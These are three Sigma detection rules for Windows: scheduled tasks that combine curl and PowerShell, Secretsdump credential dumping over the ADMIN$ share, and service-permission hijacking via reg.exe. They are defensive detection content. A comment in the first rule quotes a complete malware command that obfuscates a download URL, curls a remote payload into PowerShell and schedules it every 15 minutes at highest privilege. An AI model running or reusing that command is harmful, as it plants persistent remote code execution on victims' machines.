title: Scheduled Task Creation with Curl and PowerShell Execution Combo
id: 1d174d38-8fda-4081-a9b6-56d9763c0cd8
status: experimental
description: |
    Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them.
    This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.
references:
    - https://tria.ge/241015-l98snsyeje/behavioral2
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-02-05
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.stealth
    - attack.t1053.005
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    # Example: cmd start /min /c schtasks /create /tn PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set e=!a!://www.!b!!c!!d!m& curl -o - !e!/mscu/lokc.php?wl=HGNBWBGW**Admin | powershell" /rl Highest
    selection_img:
        Image|endswith: '\schtasks.exe'
        CommandLine|contains|windash: ' /create '
    selection_curl:
        CommandLine|contains|all:
            - 'curl '
            - 'http'
            - '-o'
    selection_powershell:
        CommandLine|contains: 'powershell'
    condition: all of selection_*
falsepositives:
    - Legitimate use of schtasks for administrative purposes.
    - Automation scripts combining curl and PowerShell in controlled environments.
level: medium

title: Secretdump password dumping via SMB admin share
description: Detects scenarios where an attacker execute Secretdump in order to remotely dump credentials over SMB.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0006-Credential%20Access/T1003-Credential%20dumping
- https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/
- https://airman604.medium.com/dumping-active-directory-password-hashes-deb9468d1633
- https://medium.com/@benichmt1/secretsdump-demystified-bfd0f933dd9b
tags:
- attack.credential_access
- attack.t1003.002
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\ADMIN$'
    RelativeTargetName|startswith: SYSTEM32
    RelativeTargetName|endswith: '.tmp' # example: 'SYSTEM32\NMdzZfem.tmp'
  condition: selection
falsepositives:
- none
level: high

title: Service permissions hijacked for privileges abuse (reg via command)
description: Detects scenarios where an attacker modify the permissions of a service in order to abuse its privileges
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- http://woshub.com/set-permissions-on-windows-service/
- https://www.winhelponline.com/blog/view-edit-service-permissions-windows/
- https://decoder.cloud/2019/02/07/demystifying-windows-service-permissions-configuration/
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.1
- https://medium.com/r3d-buck3t/abuse-service-registry-acls-windows-privesc-f88079140509
- https://github.com/rohnedwards/PowerShellAccessControl
tags:
- attack.persistence
- attack.t1543.003
- attack.t1574.010
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 4688
    NewProcessName|endswith: \reg.exe
    CommandLine|contains: 'REG ADD'
    CommandLine|re: '\\SYSTEM\\CurrentControlSet\\Services\\.*\\Security' # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\xboxsvc\Security
  condition: selection
falsepositives:
- administrator reconfiguring service
level: high